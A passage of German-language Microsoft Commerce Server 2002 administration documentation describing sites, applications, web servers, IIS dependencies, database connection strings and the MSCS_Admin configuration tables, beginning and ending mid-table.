Berechtigungen in Business Desk | Stellt eine Verbindung zur Datenbank her, in der Daten wie Sicherheitsbezeichner und -definitionen gespeichert sind, die zum Sichern der Business Desk-Benutzeroberfläche verwendet werden.
Kampagnen | Stellt eine Verbindung zur Datenbank her, in der Kampagnendaten (Anzeigen, Preisnachlässe und Direktsendungen) gespeichert sind.
Produktkatalogsystem | Stellt eine Verbindung zur Datenbank her, in welcher Katalogschema und Produktdaten gespeichert sind.
Transaktionen | Stellt eine Verbindung zur Datenbank her, in der Warenkorb- und Bestelldaten gespeichert sind.
Transaktionskonfiguration | Stellt eine Verbindung zur Datenbank her, in der Daten für Lieferoptionen und Kostensätze, Steuersätze, Länder-/Regionalcodes sowie Bestellstatuscodes gespeichert sind.

Gemeinsamer Zugriff auf Ressourcen von verschiedenen Sites

In der folgenden Tabelle wird aufgelistet, welche Ressourcen von verschiedenen Sites gemeinsam genutzt und welche nicht freigegeben werden können.

Ressource | Gemeinsamer Zugriff
Anwendungsstandardkonfiguration | Nein
Berechtigungen in Business Desk | Nein
Kampagnen | Nein
CS-Authentifizierung | Ja
Data Warehouse | Ja
Direct Mailer | Ja
Vorhersagedienst | Ja
Produktkatalogsystem | Nein
Profile | Ja
Transaktionen | Nein
Transaktionskonfiguration | Nein

Siehe auch

Verwalten von Commerce-Ressourcen

Integrating Custom Resources (englisches Thema)

Integrating a Custom Snap-in Extension (englisches Thema)

Bereitstellen der Site

Mehrere Sites und ein Data Warehouse


Sites

Eine Site ist eine Sammlung von ASP-basierten Anwendungen, die COM-Objekte (Component Object Model) von Commerce Server verwenden, oder eine Sammlung von ASP .NET-basierten Anwendungen, die primäre Interop-Assembly-Objekte oder BCL-Objekte (Base Class Library) verwenden. Sites verwenden und ändern Ressourcen. Eine Site stellt Mittel bereit, mit denen Anwendungen in der Site zusammen verwaltet werden können.

Eine Site enthält in der Regel mindestens zwei Anwendungen: eine Anwendung, die Benutzer durchsuchen, um Ihren Onlinespeicher anzuzeigen, und eine andere Anwendung, die Businessmanager verwenden, um auf Commerce Server Business Desk zuzugreifen. Eine Site kann aber auch zusätzliche Anwendungen enthalten. Eine Site kann z. B. www.alpineskihouse.com, www.alpineskihouse.com/equipment, www.alpineskihouse.com/clothing und www.alpineskihouse.com/BusinessDesk enthalten. Diese Anwendungen können über viele Server verteilt werden.

Sites verwenden sowohl von mehreren Sites genutzte globale Ressourcen als auch Siteressourcen, die speziell für eine Site definiert werden.

Über einen Siteknoten im Commerce Server-Manager können Sie eine Site packen sowie Ressourcen hinzufügen bzw. löschen.

Siehe auch

Verwalten von Commerce-Sites

Bereitstellen der Site

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


Anwendungen

Eine Commerce Server 2002-Anwendung ist eine Website. Sie ist eine logische Darstellung einer Anwendung in Internetinformationsdienste (IIS) 5.0; sie wird sowohl im Commerce Server-Manager als auch in der ISS-Konsolenstruktur angezeigt. In der IIS-Konsole befindet sich eine Anwendung entweder auf der Ebene des Basisverzeichnisses oder in einem Unterverzeichnis der Website.

Eine Anwendung repräsentiert die Webadresse, auf die ein Webclient zugreift. Wenn Sie eine Anwendung zu Commerce Server hinzufügen, wird die Verwaltungsdatenbank mit den Konfigurationsdaten für die Anwendung aktualisiert. Wenn Sie einen Webserver zur Anwendung hinzufügen, werden ASP-Dateien (Active Server Pages) auf dem Webservercomputer installiert.

Beim Entpacken einer Commerce Server-Site werden in der Regel zwei Anwendungen installiert: eine Anwendung für die Website, auf welche Benutzer zur Suche und zum Kaufen von Produkten zugreifen, und eine andere Anwendung für Commerce Server Business Desk zur Verwaltung dieser Site. Eine Anwendung kann nur die Ressourcen der Site nutzen, der sie zugeordnet ist.

Eine Anwendung hat ihre eigenen Webserver. Diese liefern der ASP-Seite Inhalte für die Website. Eine Anwendung umfasst stets mindestens einen Webserver, kann aber auch mehrere Webserver umfassen. Sie können eine Site entweder im Stammverzeichnis einer IIS-Website oder in einem virtuellen Verzeichnis beliebige Ebenen unterhalb des Stammverzeichnisses einrichten.

In den IIS- und Commerce Server-Manager-Konsolen können Sie folgende Funktionen ausführen:

  • Über den Anwendungsknoten im IIS-Snap-In können Sie alle Eigenschaften festlegen, die auf der Ebene des virtuellen Verzeichnisses verfügbar sind, u. a. Eigenschaften des virtuellen Verzeichnisses, Standarddokumente, Verzeichnissicherheit, HTTP-Kopfzeilen (Hypertext Transfer Protocol) und benutzerdefinierte Fehler. Sie können auch Microsoft FrontPage-Servererweiterungen konfigurieren und die Anwendung umbenennen oder löschen.
  • Über den Anwendungsknoten im Commerce Server-Manager können Sie in der Anwendung den nicht sicheren und den sicheren Hostnamen und den ISS-Anwendungspfad einrichten, HTTPS, Autocookie und einen Authentifizierungsfilter aktivieren sowie für alle Webserver geltende Einstellungen konfigurieren.

Ausführliche Informationen über Eigenschaften, die Commerce Server von IIS übernimmt, finden Sie unter Commerce Server und IIS.

Siehe auch

Verwalten von Commerce-Anwendungen und Webservern

Bereitstellen der Site

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


Webserver

In Commerce Server ist ein Webserver ein Computer, auf dem Internetinformationsdienste (IIS) 5.0 installiert ist. Um einen Webserver mit Commerce Server 2002 einzusetzen, müssen Commerce Server und IIS auf demselben Computer installiert sein.

In Commerce Server ist ein Webserver einer oder mehreren Anwendungen zugeordnet; verschiedene Anwendungen können denselben Webserver nutzen. Der Webserver enthält die ASP-Seiten und die Unterordner der Anwendung. Eine Anwendung kann mehrere Webserver haben. Die Gesamtheit dieser Webserver bildet eine Webfarm.

In der folgenden Abbildung sind die Objekte auf den IIS- und Commerce Server-Manager-Konsolenstrukturen sowie die Beziehungen zwischen diesen Objekten zu sehen.

Die Objekte auf IIS- und Commerce Server-Manager-Konsolen

Wenn Sie ASP-Dateien zu einem Webserver hinzufügen möchten, verwenden Sie Commerce Server Site Packager, um den Webserver zu entpacken. Das Commerce-Webserverobjekt wird zur Anwendung hinzugefügt, wenn der Entpackungsvorgang abgeschlossen ist. Im Commerce Server-Manager wird ein Webserverobjekt unter der zugeordneten Anwendung angezeigt.

Das Webserverobjekt enthält Eigenschaften, die vom Data Warehouse zum Importieren von Protokolldateien benötigt werden.

Die folgende Tabelle enthält die Eigenschaften, die über den Webserverknoten im Commerce Server-Manager angezeigt und geändert werden können. Anweisungen finden Sie unter Konfigurieren eines Webservers.

Eigenschaft | Beschreibung
Servername | Der Name des Computers, auf welchem der Webserver installiert ist. Ändern Sie den Namen nur dann, wenn Sie den Server umbenannt haben.
Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) für den Webserver, den TCP-Anschluss und den Hostheadernamen an. Die Werte werden anfangs aus IIS gelesen.
SSL-Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) und den SSL-Anschluss für den Webserver an. Die Werte werden anfangs aus IIS gelesen.
Zeitraum für die Protokolldateiaktualisierung | In diesem Feld können Sie angeben, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieser Wert wird anfangs aus IIS gelesen.
Protokolldateimaske | Hier können Sie eine benutzerdefinierte Protokolldateirotation angeben, um festzulegen, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Weitere Informationen, einschließlich Beispielen für Feldeinträge, finden Sie unter Festlegen einer Webserver-Protokolldateimaske.
Protokolldateiverzeichnis | In diesem Feld können Sie den Protokolldateipfad eingeben, auf dem die IIS-Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1. Dieser Wert wird anfangs aus IIS gelesen. Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung der DTS (Data Transformation Services)-Webserverprotokollimport-Tasks die Webprotokolldateien vom Webserver an einen zentralen Speicherort kopieren.
Codepage der Protokolldatei | In diesem Feld werden die von der gesamten Datei verwendeten Codepages angezeigt. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.
Codepage der URL-Codierung | In diesem Feld werden die von allen URLs verwendeten Codepages angezeigt. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.

Die Commerce Server-Verwaltungsdatenbank wird automatisch aus IIS 5.0 mit den Eigenschaften aufgefüllt, wenn der Webserver hinzugefügt wird.

Ein Webserver kann von verschiedenen Anwendungen genutzt werden. Jede Anwendung hat einen eigenen URL. Eindeutige URLs können von einer einzigen IIS-Website bedient werden. So könnten z. B. www.microsoft.com und www.microsoft.com/commerceserver von derselben IIS-Website bedient werden.

Wenn Sie eine Webfarm betreiben, müssen Sie Ihre Webserver replizieren. Es empfiehlt sich, Microsoft Application Center 2000 oder ein anderes Produkt für die Content Replication zu verwenden.

Nicht-Commerce-Webserver

Neben IIS-Webservern unterstützt Commerce Server auch Webserver, die IIS nicht ausführen und keine Commerce Server-Komponenten beinhalten. Da Commerce Server andere Anwendungen und Webserver unterstützt, können Sie die Webserver-Protokolldateien dieser Server dem Data Warehouse zum Import zur Verfügung stellen.

Commerce Server stellt mit der Data Warehouse-Konfiguration, einen Assistenten zur Verfügung, der die Konfiguration anderer Anwendungen und Webserver für die Arbeit mit dem Data Warehouse von Commerce Server erleichtert. Weitere Informationen finden Sie unter Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site und Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung.

Siehe auch

Konfigurieren eines Webservers

Commerce Server und IIS

Bereitstellen der Site

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


CommerceServer und IIS

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server und IIS

Systemadministratoren, die für die tägliche Verwaltung von Microsoft Commerce Server 2002 verantwortlich sind, müssen sich in der Regel auch um die Verwaltung der Microsoft Internetinformationsdienste (IIS) 5.0 kümmern.

Obwohl IIS im Hintergrund von Commerce Server ausgeführt wird, besteht an sich kein strenges hierarchisches Verhältnis zwischen IIS und Commerce Server-Objekten. Die Gesamtheit der Eigenschaften, die sich auf die Commerce Server-Site auswirken, besteht aus Eigenschaften, für die Folgendes gilt:

  • Nur auf IIS-Ebene festgelegt
  • Nur innerhalb von Commerce Server festgelegt, unabhängig von IIS
  • Von IIS übernommen
  • Mithilfe des IIS-Snap-Ins lassen sich Zugriffsberechtigungen für die Website, Sicherheit, Performance, Verzeichnisse und Pfade, Websiteidentifizierung, IP-Adressen und Anschlüsse verwalten.

Den Commerce Server-Manager verwenden Sie für folgende Aufgaben:

  • Verwalten globaler Ressourcen und Commerce Server-Siteressourcen, Konfigurieren von Commerce Server-spezifischen Eigenschaften, Konfigurieren von Datenbank-Verbindungszeichenfolgen für Ressourcen sowie Hinzufügen und Entfernen von Webservern zu bzw. aus einer Anwendung.
  • Auf der Anwendungsebene von Commerce Server können Sie den IIS-Anwendungspfad, die IIS-Website, nicht sichere und sichere Hostnamen, IP-Anschluss und den sicheren IP-Anschluss bestimmen. Außerdem können Sie Eigenschaften konfigurieren, um HTTPS und Autocookie zu aktivieren sowie um einen Authentifizierungsfilter auszuwählen. Diese Eigenschaften lassen sich auf alle Webserver anwenden, die von der Anwendung eingesetzt werden.

    Wenn Sie Porteigenschaften in Commerce Server ändern, werden diese nicht auch automatisch in IIS geändert. Die folgenden Porteigenschaften werden tatsächlich von ISS verwendet:

    Auf der Anwendungsebene

    • TCP (Transmission Control Protocol)-Anschluss
    • SSL (Secure Sockets Layer)-Anschluss

    Auf jedem Webserver

    • IP-Adresse
    • Protokolldateipfad
    • Protokolldateiperiode

    Wenn Sie die Porteigenschaften in IIS ändern, müssen Sie diese auch in Commerce Server ändern.

    Webservereigenschaften werden aus IIS übernommen und in der Verwaltungsdatenbank gespeichert, wodurch der Zugriff erleichtert wird. Wenn die IIS-Eigenschaften geändert werden, müssen Sie die Verwaltungsdatenbank synchronisieren: Entweder aktualisieren Sie die Werte manuell, oder Sie klicken im Dialogfeld Eigenschaften von Anwendung auf der Registerkarte Webserver auf die Schaltfläche Werte synchronisieren. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.

    Wenn Sie auf die Schaltfläche Werte synchronisieren klicken, synchronisiert Commerce Server die Eigenschaften auf der Anwendungsebene und die Eigenschaften aller Webserverobjekte unterhalb der Anwendungsebene. Bei der Synchronisation der Eigenschaften auf der Anwendungsebene (TCP- und SSL-Anschluss) bezieht Commerce Server sich auf die Werte des ersten Webservers. Commerce Server geht davon aus, dass die Webserver alle identisch konfiguriert sind, was für die korrekte Funktion einer Webfarm auch der Fall sein muss.

  • Auf der Ebene des Commerce Server-Webservers können Eigenschaften für die IP-Adresse und die Protokolldateiperiode angezeigt und geändert werden.

Siehe auch

Verwalten von Commerce Server

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site

Bereitstellen der Site

Installation auf einer Clusterkonfiguration mit vier Computern

Installation auf einer Konfiguration mit drei Computern ohne Cluster


CommerceServer-Abhängigkeiten in IIS

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Abhängigkeiten in IIS

In diesem Abschnitt wird beschrieben, welche Features in Internetinformationdienste mindestens aktiviert werden müssen, wenn Sie Tools von Drittanbietern verwenden (z. B. Inhaltsfilter für den Firewall).

Für Commerce Server müssen folgende Funktionen in IIS verfügbar sein:

  • Dienste:
    • HTTP
    • SMTP: Direct Mailer muss Zugriff auf einen SMTP-Mailserver haben. Eine Kunden-Website enthält möglicherweise Code zum Versenden einer Auftragsbestätigung und benötigt daher Zugriff auf einen SMTP-Mailserver. Bei diesem SMTP-Server kann es sich um den IIS handeln, der vom SMTP-Server zur Verfügung gestellt wird. Ob dieser IIS verwendet wird, kann der Kunde selbst entscheiden.

    Für Commerce Server ist FTP und NNTP nicht erforderlich.

  • HTTP-Verben: GET, POST, PUT
  • Dateierweiterungen, die von IIS bedient werden müssen: ASP, HTM, GIF, JPG, HTA, HTC, XML, XSL, CSV, CAB, TXT, CSS, CHM, HHC, HHK, JS, VBS und EXE

    JS und VBS werden auf den Client gedownloadet und nicht auf dem Server ausgeführt. Commerce Server bietet die Datei OWC10.EXE (Office Web Controls Version 10) zum Downloaden auf den Client-Browser; sie wird nicht auf dem Server ausgeführt.

  • HTTP-Header: Translate:, IF:, Lock-Token:

    Commerce Server verwendet WebDAV, zum Bereitstellen einer Katalogimportdatei (XML- oder CSV-Dateierweiterung).

  • Virtuelle Verzeichnisse, die unter der Standardwebsite installiert sind: Keine.

    Commerce Server benötigt keine IISSamples, MSADC und Skripts.

  • Für die IUSR- und IWAM-Konten dürfen sich die ACLs zum Verweigern der Ausführung nicht im Verzeichnis System32 und dessen übergeordneten Verzeichnissen befinden.

    Die Commerce Server-DLLs befinden sich standardmäßig im Verzeichnis \Programme\Microsoft Commerce Server. Während der Installation können Sie den Installationspfad ändern, Commerce Server benötigt jedoch Visual Studio.NET Framework-DLLs: Weitere Voraussetzungen:

    • Global Assembly Cache (GAC) unter C:\WINNT\System32\Assembly
    • Systemrichtliniendaten, die unter C:\WINNT\System32\Microsoft.NET\* gespeichert sind
  • Für die IUSR- und IWAM-Konten dürfen sich die ACLs zum Verweigern des Schreibzugriffs nicht in den Webinhalt-Verzeichnissen befinden.

    Commerce Server benötigt Schreibzugriff, um eine Katalogdateiaktualisierung (XML- oder CSV-Dateierweiterung) in einem Produktkatalogverzeichnis unter dem virtuellen Business Desk-Stammverzeichnis der Site zu erhalten. Sie legen den Namen des virtuellen Stammverzeichnisses fest.


Datenbanken

In der folgenden Tabelle werden die Datenbanken aufgeführt, die in der Regel in einer Commerce Server-Site verwendet werden. Abhängig von den Funktionen und der Konfiguration, die Sie für Ihre Site wählen, können Sie zusätzliche bzw. weniger Datenbanken verwenden.

Sie bestimmen die Verbindungszeichenfolgen für diese Datenbanken beim Setup und während des Entpackens. Sie können die Verbindungszeichenfolgen jedoch mithilfe des Commerce Server-Managers ändern.

Datenbank und Name | Beschreibung
Commerce Server Sitename_commerce | Daten für Kataloge, Kampagnen, Transaktionen, Profile und Ereignisse.
Verwaltungsdatenbank MSCS_Admin | Konfigurationsdaten, die von Commerce Server verwendet werden.
Data Warehouse Sitename_dw | Täglich anfallende Betriebsdaten über die Besucher Ihrer Site, z. B. Benutzerprofil-, Transaktions- und Klickverlaufsdaten. Diese Daten werden aus Webprotokolldateien und Commerce Server-Datenbanken mithilfe der DTS-Tasks von Commerce Server importiert.
Direct Mailer | Daten für Adressenlisten, Nachrichten und Ereignisse.

Dieser Abschnitt beinhaltet folgende Themen:

  • Beziehungen zwischen Commerce Server-Datenbanken
  • Commerce Server-Datenbankverbindungszeichenfolgen
  • Verbindungszeichenfolgen, Site Packager und Verwaltungsobjekte
  • OLE DB Provider-Verbindungspooling
  • Verwaltungsdatenbanktabellen
  • Analyse-/Berichterstellungsdatenbanktabellen
  • Data Warehouse-Datenbanktabellen
  • Direct Mailer-Datenbank
  • Kampagnendatenbanktabellen
  • Komponenten der Katalogdatenbank
  • MSCS_CatalogScratch-Datenbank
  • Profildatenbanktabellen
  • Transaktionsdatenbanktabellen
  • Transaktionskonfigurations-Datenbanktabellen


Beziehungen zwischen CommerceServer-Datenbanken

Feedback zu dieser Seite senden Commerce Server 2002

Beziehungen zwischen Commerce Server-Datenbanken

Um ein Diagramm der Commerce Server-Datenbanken in SQL Server anzuzeigen, gehen Sie entsprechend der folgenden Schrittfolge vor.

So zeigen Sie ein Diagramm der Commerce Server-Datenbanken an

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe, den Server, auf dem die Datenbanken installiert sind, und anschließend Datenbanken.
  2. Klicken Sie mit der rechten Maustaste auf Diagramme, und klicken Sie anschließend auf Neues Datenbankdiagramm.

    Daraufhin wird der Datenbank-Diagrammerstellungs-Assistent gestartet.

  3. Wählen Sie im Dialogfeld Hinzuzufügende Tabellen auswählen die Option Verknüpfte Tabellen automatisch hinzufügen, und klicken Sie anschließend auf Weiter.
  4. Klicken Sie auf Fertig stellen.

Daraufhin stellt der Datenbank-Diagrammerstellungs-Assistent die Beziehungen dar.


CommerceServer-Datenbankverbindungszeichenfolgen

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Datenbankverbindungszeichenfolgen

Commerce Server-Verbindungszeichenfolgen, einschließlich der Benutzeranmeldenamen und Kennwörter, werden in der Verwaltungsdatenbank gespeichert.

Hinweis

  • Alle Commerce Server-Verbindungszeichenfolgen verwenden Microsoft SQL Server-Sicherheit. Allerdings unterstützt die Verbindungszeichenfolge für die Data Warehouse-Ressource zur OLAP-Serverdatenbank (Online Analytical Processing) nur Microsoft Windows NT-Authentifizierung.

Commerce Server verwendet Verbindungszeichenfolgen für die folgenden Datenbanken:

  • Verwaltungsdatenbank und Direct Mailer-Datenbank. Beim Setup geben Sie die Benutzeranmeldenamen und die Kennwörter für die Verwaltungsdatenbank und die Direct Mailer-Datenbank ein. Sie können diese zu einem späteren Zeitpunkt mithilfe des Commerce Server-Managers ändern.
  • Datenbanken, die von Ressourcen verwendet werden. Wenn Sie eine Site mit Commerce Server Site Packager entpacken, werden Sie bei einigen Ressourcen nach einer Verbindungszeichenfolge zur entsprechenden Datenbank gefragt. In der folgenden Tabelle werden die Verbindungszeichenfolgen für jede Ressource aufgeführt.
    Ressource | Verbindungszeichenfolge
    Produktkatalogsystem | Katalogdatenbank
    Kampagnen | Kampagnendatenbank
    Transaktionen | Transaktionsdatenbank
    Transaktionskonfiguration | Transaktionsdatenbank
    Profile | s_BizDataStoreConnectionString, s_CommerceProviderConnectionString, s_ProfileServiceConnectionString
    Data Warehouse | Die Verbindungszeichenfolge hat auf der Benutzeroberfläche keinen Namen, da das Data Warehouse über eine eigene Snap-In-Erweiterung verfügt.
  • Andere Datenbanken. Sie bestimmen Verbindungszeichenfolgen auch in den folgenden Fällen:
    Feature | Verbindungszeichenfolge
    Listen-Manager: Importieren und Exportieren von Listen | Stellen Sie im Listen-Manager-Modul von Commerce Server Business Desk die Verbindungszeichenfolge für die SQL Server-Datenbanktabelle ein, die Sie importieren bzw. exportieren.
    Migration ProfileBuilder-Tool | Nachdem Sie das Migration ProfileBuilder-Tool geändert haben, erstellen Sie einen Datenquellennamen (DSN) für den Commerce Server-Profildatenspeicher.
    Profilressource: Hinzufügen von Datenquellen | Verwenden Sie die Datenquellenauswahl, bzw. für LDAP (Lightweight Directory Access Protocol) das Dialogfeld LDAP-Verbindungszeichenfolge, um die Verbindungszeichenfolgen für die Datenbanken und LDAP-Quellen einzugeben, die Sie mit Datenquellenpartitionen verknüpfen.

Verwenden Sie den Commerce Server-Manager, wenn Sie eine Verbindungszeichenfolge für eine Datenbank ändern müssen.

Siehe auch

Ändern der Datenbank-Verbindungszeichenfolgen

OLE DB Connection Strings for the Data Warehouse (englisches Thema)

OLE DB Connection Strings for the Profiling System (englisches Thema)

Code to Connect to the Expression Store (englisches Thema)

(englisches Thema)

Code to Connect to the Profile Store (englisches Thema)


Verbindungszeichenfolgen, SitePackager und Verwaltungsobjekte

Feedback zu dieser Seite senden Commerce Server 2002

Verbindungszeichenfolgen, Site Packager und Verwaltungsobjekte

Um festzustellen, ob es sich bei einer Eigenschaft um eine Verbindungszeichenfolge handelt, verwendet Site Packager "connstr_db", den ersten Teil des Verbindungszeichenfolgenamens.

Die Verwaltungsobjekte verwenden das f_IsConnStr-Flag in der ExtendedProps-Tabelle in der MSCS_Admin-Datenbank, um festzustellen, ob es sich bei der Eigenschaft um eine Verbindungszeichenfolge handelt.

Connstr_db

Wenn Site Packager die Zeichenfolge "connstr_db" am Anfang des Eigenschaftsnamens während des Entpackens liest, wird diese Eigenschaft mit Daten gefüllt.

Wenn Sie Site Packager im Modus Schnelles Entpacken ausführen, werden alle Daten übernommen und können während des Entpackens nicht geändert werden. Wenn Sie Site Packager im Modus Benutzerdefiniertes Entpacken ausführen, wird die Eigenschaft zusammen mit den anderen Verbindungszeichenfolgen angezeigt und die Werte können geändert werden.

Wenn Site Packager die Eigenschaft der Verbindungszeichenfolge mit Daten füllen soll, müssen Sie die Eigenschaft so benennen, dass der Name mit "connstr_db" beginnt. Wenn dieses Verhalten dagegen nicht erwünscht ist, muss der Name der Eigenschaft mit einer anderen Zeichenfolge beginnen. Dies ist der einzige Test, den Site Packager verwendet, um festzustellen, ob es sich bei einer bestimmten Eigenschaft um eine Verbindungszeichenfolge handelt.

f_IsConnStr-Flag

Die Verwaltungsobjekte verwenden das f_IsConnStr-Flag in der ExtendedProps-Tabelle in der MSCS_Admin-Datenbank, um festzustellen, ob es sich bei der Eigenschaft um eine Verbindungszeichenfolge handelt. Wenn eine Site mit Site Packager gepackt wird, werden alle Konfigurationsdaten für die Ressourcen in Klartextdateien exportiert und in dem Paket abgelegt. Dies stellt eine Sicherheitslücke für die Verbindungszeichenfolgen dar, da diese Benutzernamen und Kennwörter enthalten können. Wenn das f_IsConnStr-Flag auf "1" (TRUE) gesetzt ist, schreibt die Exportfunktion des Verwaltungsobjekts den Wert nicht aus, sodass Benutzername und Kennwort vor unbefugtem Zugriff geschützt sind.

Die Konfigurationsdaten werden in dem Paket in einem benannten Stream innerhalb der Verbunddatei gespeichert, sodass sie mit Tools von öffentlichen Domänen angezeigt werden können.


OLE DB Provider-Verbindungspooling

Wenn eine Anwendung wie Visual Basic oder ADO (ActiveX Data Objects) eine Verbindung zu einem SQL-Server öffnet, öffnet der OLE DB Provider für Commerce Server einen Pool von Verbindungen, die aus Leistungsgründen initialisiert werden. Es wird jedoch nicht versucht, alle Verbindungen bei der Initialisierung zu aktivieren. Die Verbindungsobjekte werden erstellt und in einer "freien" Warteschlange abgelegt. Wenn der OLE DB Provider für Commerce Server eine Verbindungsanforderung erhält, überprüft er, ob sich in einer Warteschlange "im Leerlauf" Verbindungen befinden. Wenn dies nicht der Fall ist, wird eine Verbindung aus der "freien" Warteschlange herangezogen und zum Herstellen einer Verbindung zu einem SQL-Server verwendet.


Verwaltungsdatenbanktabellen

Die Konfigurationsdaten für die Ressourcen von Commerce Server 2002, mit denen Commerce Server geliefert wird, sind in einer Microsoft SQL Server-Datenbank mit der Bezeichnung "MSCS_Admin" gespeichert. Diese Datenbank enthält sieben Tabellen, die wichtig für das Verständnis sind, wie die Konfigurationsdaten, die mit benutzerdefinierten Ressourcen verknüpft sind, in dieser Datenbank verwaltet werden können, die über den Commerce Server-Manager offen gelegt und mit Commerce Server Site Packager bereitgestellt wird.

Die folgenden Themen enthalten detaillierte Informationen zu diesen Tabellen. Detaillierte Informationen zur Sicherung der Verwaltungsdatenbank finden Sie unter Sichern der Verwaltungsdatenbank.

Hinweis

  • Diese Tabellen sind von großer Wichtigkeit und sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden aufgelistet.
Tabellenname | Beschreibung
ExtendedProps | Speichert die Merkmale der Ressourceneigenschaften (Ressourceneigenschaftsschema).
PupDBScripts | Ist an der Konfiguration der Verwendung des Objektes GenericPuP beteiligt.
ResourceProps | Speichert die eigentlichen Ressourceneigenschaftswerte wie in der ExtendedProps-Tabelle definiert.
Resources | Definiert die eigentlichen Ressourceninstanzen wie in der SystemProps-Tabelle definiert.
SiteResources | Dient als Suchmechanismus für alle Ressourcen, die auf einer Site installiert sind.
Sites | Der Anfangspunkt zum Abrufen von Daten zu einer Site.
SystemProps | Speichert die Merkmale für Ressourcen (Ressourcenschema).

Das Abrufen des Wertes einer Ressourceneigenschaft besteht aus mehreren Schritten. Beginnen Sie damit, den Namen der Site in der Sites-Tabelle zu suchen. Die Sites-Tabelle führt zur SiteResources-Tabelle, die wiederum zur Resources-Tabelle führt, die ihrerseits zur ResourceProps-Tabelle führt, in der die eigentlichen Ressourceeigenschaftswerte gespeichert sind.

Mithilfe der Verwaltungsobjekte in der folgenden Tabelle greifen Sie auf diese Tabellen zu, rufen Werte ab und legen neue Werte fest.

Objekt | Beschreibung
GlobalConfig | Enthält Methoden zum Verwalten von globalen Ressourcen.
SiteConfig | Enthält Methoden zum Verwalten von Siteressourcen.
SiteConfigReadOnly | Enthält Methoden zum schnellen Abrufen von Eigenschaftswerten von globalen Ressourcen und Siteressourcen.

Siehe auch

Sichern der Verwaltungsdatenbank


ExtendedProps-Tabelle

In der ExtendedProps-Tabelle sind die Merkmale der Ressourceneigenschaften gespeichert. Zusammen mit der SystemProps-Tabelle wird mit dieser Tabelle das Schema der Verwaltungsdatenbank definiert.

Die Spalten der ExtendedProps-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
S_ResourceType
 Eine Zeichenfolge, die zum Zuordnen einer einzelnen Zeile in der SystemProps-Tabelle, die einen einzelnen Ressourcentyp darstellt, zu den entsprechenden Ressourceneigenschaften in dieser Tabelle verwendet wird. Die entsprechende Spalte in der SystemProps-Tabelle hat ebenfalls den Namen s_ResourceType.
S_PropertyName
 Wird auf eine willkürliche Zeichenfolge gesetzt, die als interner Name der Eigenschaft dient, und wird beim programmgesteuerten Zugreifen auf die Eigenschaft mit den Objekten GlobalConfig, SiteConfig und SiteConfigReadOnly verwendet.

Dieser Name ist in der Regel beschreibend und beginnt mit einem Buchstaben, der für den Datentyp der Eigenschaft steht, und einem Unterstrich. "i_AuctionOptions" ist beispielsweise eine Eigenschaft vom Datentyp integer.

F_IsConnStr
 Wenn der Wert dieses Flags auf "1" gesetzt ist, handelt es sich bei der Eigenschaft um eine OLE DB-Verbindungszeichenfolge. Wenn hier ein Wert festgelegt ist, verwendet der Commerce Server-Manager zum Festlegen des Wertes ein UDL-Dialogfeld (Universal Data Link), und Commerce Server Site Packager fordert beim Entpacken zur Eingabe der Verbindungsinformationen für eine bestimmte Datenbank auf.

Weitere Informationen zu diesem Flag und dessen Beziehung zu den Konfigurationswerten von Verbindungszeichenfolgen finden Sie in dem Hinweis in der ResourceProps-Tabelle.

F_IsHidden
 Wenn dieses Flag auf "1" gesetzt ist, wird diese Eigenschaft im Dialogfeld für die allgemeine Ressource nicht angezeigt. Setzen Sie dieses Flag für Eigenschaften auf "1", für die ein benutzerdefiniertes MMC-Snap-In vorhanden ist.
F_IsSimpleList
 Wenn dieses Flag auf "1" gesetzt ist, handelt es sich bei der neuen Eigenschaft um ein SimpleList-Objekt. Dieses Feature ermöglicht das Speichern von Eigenschaften mit mehreren Werten.
S_Description
 Eine willkürliche, beschreibende Zeichenfolge, die im Dialogfeld für die allgemeine Ressource angezeigt wird.
I_Vartype
 Eine Ganzzahl, die den Variant-Typ der gespeicherten Daten anzeigt. Die Zahl 8 bedeutet beispielsweise, dass es sich um eine Zeichenfolge handelt, und die Zahl 8200 bedeutet, dass es sich um ein Array von Zeichenfolgen handelt. Alle Variant-Typen außer SafeArray, IUnknown und IDispatch sind zulässig.
S_Value
 Der Standardwert für diese Ressourceneigenschaft, sofern vorhanden.
S_DisplayName
 Ein benutzerfreundlicher Anzeigename für die Eigenschaft, die im Dialogfeld für die allgemeine Ressource angezeigt wird.

Siehe auch

Sichern der Verwaltungsdatenbank


PupDBScripts-Tabelle

Die PupDBScripts-Tabelle ist an der Konfiguration der Verwendung des Objekts GenericPuP beteiligt.

Die Spalten der PupDBScripts-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_SiteID
 Eine Ganzzahl, die angibt, dass eine bestimmte Ressource einer bestimmten Site zugeordnet ist.

Diese Spalte entspricht der i_SiteID-Spalte in der SiteResources- und der Sites-Tabelle.

i_ResourceID
